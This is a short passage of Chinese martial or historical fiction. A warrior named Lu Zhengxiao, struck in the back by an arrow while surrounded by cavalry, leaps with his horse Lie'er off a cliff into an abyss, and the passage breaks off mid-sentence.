就在数千铁骑围堵之时，烈儿猛然改变方向，冲向了山谷边缘的悬崖。幽戎眼中闪过一丝惊疑，但很快他便全力驱马，箭矢如电，拉弓飞射而出，直指正啸的背影。
那一箭迅速穿过空中，带着死神的气息，直直刺入卢正啸的胸后。
然而，卢正啸并没有回头，他只紧握缰绳，眼中露出一丝冷静的决然。
在最后的刹那，他与烈儿一同飞身跃入那深不可测的深渊。就在
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